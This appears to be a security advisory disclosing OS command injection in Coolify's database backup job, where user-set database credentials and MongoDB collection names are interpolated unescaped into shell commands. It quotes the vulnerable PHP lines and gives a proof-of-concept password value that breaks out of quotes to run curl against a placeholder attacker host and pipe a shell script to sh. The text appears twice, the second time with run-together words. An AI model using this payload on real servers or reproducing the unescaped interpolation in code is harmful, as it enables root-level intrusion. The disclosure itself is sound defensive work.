Summary
DatabaseBackupJob.php interpolates user-controlled database credentials — including usernames, passwords, and MongoDB collection exclusion names — directly into shell commands without escaping. The previous fix (GHSA-vm5p-43qh-7pmq) applied escapeshellarg() only to database names but left all other user-controlled fields unescaped. An authenticated user with database management permissions can achieve root-level remote code execution on any managed server.
Severity
Critical — CVSS 9.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-78 — OS Command Injection
Affected Fields
1. PostgreSQL Username — Direct Interpolation
$backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";
2. PostgreSQL Password — Double-Quote Breakout
$backupCommand .= " -e PGPASSWORD=\"{$this->postgres_password}\"";
3. MySQL/MariaDB Root Password — Double-Quote Breakout
$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases ...";
4. MongoDB Collection Names — No Escaping
$collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
." --excludeCollection " . $collectionsToExclude->implode(' --excludeCollection ')
5. MongoDB Credentials in URI — No Quoting (mongo:4)
$url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017";
Proof of Concept (PostgreSQL Password)
- Create a PostgreSQL database via Coolify dashboard or API
- Set postgres_password to:
x" $(curl http://ATTACKER_IP/shell.sh|sh) "
- Configure a scheduled backup for this database
- When the backup job runs, the payload executes as root on the managed server
Impact
- Root-level RCE on all managed servers
- Persistent: re-executes on every scheduled backup
- Full data exfiltration
- Lateral movement: compromise all servers managed by Coolify
Suggested Fix
Apply escapeshellarg() to all user-controlled fields before shell interpolation.
Timeline
- 2026-03-03: Discovered and reported
- 2026-06-01: 90-day disclosure deadline
Credit
Reported by Assaf Alassaf — Security Researcher
Summary
DatabaseBackupJob.phpinterpolates user-controlled database credentials — including usernames, passwords, and MongoDB collection exclusion names — directly into shell commands without escaping. The previous fix (GHSA-vm5p-43qh-7pmq) appliedescapeshellarg()only to database names but left all other user-controlled fields unescaped. An authenticated user with database management permissions can achieve root-level remote code execution on any managed server.Severity
Critical — CVSS 9.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HCWE-78 — OS Command Injection
Affected Fields
1. PostgreSQL Username — Direct Interpolation
2. PostgreSQL Password — Double-Quote Breakout
3. MySQL/MariaDB Root Password — Double-Quote Breakout
4. MongoDB Collection Names — No Escaping
5. MongoDB Credentials in URI — No Quoting (mongo:4)
Proof of Concept (PostgreSQL Password)
x" $(curl http://ATTACKER_IP/shell.sh|sh) "Impact
Suggested Fix
Apply
escapeshellarg()to all user-controlled fields before shell interpolation.Timeline
Credit
Reported by Assaf Alassaf — Security Researcher